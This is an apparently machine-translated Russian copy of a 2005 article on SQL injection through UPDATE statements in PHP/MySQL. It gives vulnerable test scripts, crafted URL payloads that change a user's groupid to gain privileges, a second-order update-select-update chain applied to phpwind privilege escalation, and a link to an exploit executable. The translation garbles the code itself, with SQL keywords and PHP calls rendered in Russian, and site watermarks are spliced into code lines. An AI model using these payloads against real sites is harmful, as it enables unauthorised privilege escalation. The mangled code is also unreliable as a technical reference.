Автор статьи: SuperHei
Характер статьи: Исходная дата выпуска: 14 августа 2005 г.
1. Тестовая среда управления сетью, загрузка dl.bitscn.com
ОС: Windowsxp sp2
PHP: PHP 4.3.10
MySQL 4.1.9
апач 1.3.33
2. Структура тестовой базы данных
--database: `test`
--
-------------------------------------------------- --------
--
-- Структура таблицы `userinfo`
--Сеть управления сетью www_bitscn_com
СОЗДАТЬ ТАБЛИЦУ `userinfo` (
`groudid` varchar(12) NOT NULL по умолчанию '1',
`user` varchar(12) NOT NULL по умолчанию 'heige',
`pass` varchar(122) NOT NULL по умолчанию '123456'
) TYPE=MyISAM;Сетевой менеджер u дома u.bitsCN.com
--
-- Экспортируем данные в таблицу `userinfo`
--
ВСТАВИТЬ В ЗНАЧЕНИЯ `userinfo` ('2', 'heige', '123456')
3. Тестовый режим
1. Переменная не содержит '' или "" China Network Management Alliance bitsCN.com
<?php
//test1.php Мод1
$servername = "локальный хост";
$dbusername = "корень";
$dbpassword = "";
$dbname = "тест";
mysql_connect($servername,$dbusername,$dbpassword) или умрет ("Ошибка подключения к базе данных");Китайский форум по управлению сетью bbs.bitsCN.com
$sql = "обновить информацию о пользователе set pass=$p, где user='heige'";/ / <--$P не использует одинарные кавычки
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);Китайский форум по сетевому управлению bbs.bitsCN.com
echo "<p>SQL Query:$sql<p>";
?>
Скрипт изменяет только передачу user='heige'. Если groupid представляет уровень разрешений пользователя, наша цель — изменить groupid, создав $p, затем мы отправляем:
http://127.0.0.1/test1.php?p=123456,groudid=1
Запрос в mysql:
mysql> select * from userinfo;
+---------+-------+--------+
| вход | пользователь |
+---------+-------+--------+
1 |
+---------+-------+--------+
1 строка в наборе (0,01 сек)
Грудид пользователя heige изменен с 2 на 1 :)
Таким образом, мы можем убедиться, что внедрение без обновления может быть успешным. Это наш режим 1.
2. Переменные с '' или ""
<?php
//test2.php
$servername = "локальный хост";
$dbusername = "корень";
$dbpassword = "";
$dbname = "тест";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Ошибка подключения к базе данных");
$sql = "update userinfo set pass='$p' где user='heige'";//<--$P использует одинарные кавычки Китайский форум по управлению сетью bbs.bitsCN.com
$result = mysql_db_query($dbname, $sql ) ;
$userinfo = mysql_fetch_array($result);Форум сетевого управления bbs_bitsCN_com
echo "<p>SQL Query:$sql<p>";
?>
Чтобы закрыть сообщение «Мы создаем $p, должно быть 123456»,groudid='2Submit: Китайский форум по управлению сетью bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1in
gpc = В случае включения «становится», и отправленный оператор становится:
SQL-запрос: обновить пользовательскую информацию, установить pass='123456',groudid='1', где user='heige'
MySQL-запрос:
mysql> выберите * из информации о пользователе;
+---------+-------+--------------------+
| вход | пользователь |
+---------+-------+--------------------+
2 | 123456',groudid='1 |
+---------+-------+--------------------+
1 строка в наборе (0,00 сек) groudid сетевого управления bitscn_com
не был изменен. А что, если переменная вообще не вводится, когда она равна '' или ""? Вместо этого давайте посмотрим на режим 2:
<?php
//test3.php Мод2
$servername = "локальный хост";
$dbusername = "корень";
$dbpassword = "";
$dbname = "тест";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Ошибка подключения к базе данных");
$sql = "update userinfo set pass='$p'where user='heige'";//<--$P использует одинарные кавычки network Managerujiau.bitscn@com
$result = mysql_db_query($dbname, $sql) ;
mysql_fetch_array($result); //Данные $p записываются в базу данных
$sql= "выберите проход из информации о пользователе, где user='heige'";
$result = mysql_db_query($dbname, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; //Выводим запрос на передачу в $userinfo[0]
$sql ="update userinfo set pass='$userinfo[0]' где user='heige' ";
$result = mysql_db_query($dbname, $sql);
mysql_fetch_array($result); //Снова обновите $userinfo[0] bitsCN.com
?>
Давайте проверим его и отправим на: управление сетью bitscn_com
http://127.0.0.1/test3.php?p=123456',groudid='1
Вернитесь к запросу mysql: форум управления сетью bbs_bitsCN_com
mysql> select * from userinfo;
+---------+-------+--------+
| вход | пользователь |
+---------+-------+--------+
1 |
+---------+-------+--------+
1 ряд в наборе (0,00 сек)
Ха-ха~~ Грудид успешно внедрен и изменен до 1. Это наш режим 2. Краткое описание следующее:
обновление --> выбор --> обновление
4. Фактический режим
Режим 1: Отсутствует
Режим 2:
Анализ
уязвимостей повышения привилегий phpwind 2.0.2 и 3.31e
обновление (переменная инъекции profile.php — $proicon, оператор обновления — icon='$userdb[icon]')
↓
выбрать (jop.php)
↓
update (jop.php) Форум сетевого управления bbs_bitsCN_com
Эксплойт: http://www.huij.net/9xiao/up/phpwind-exploit.exe
5. Благодарности
Особая благодарность таким друзьям, как Sayy, за их обсуждения и помощь. Спасибо!!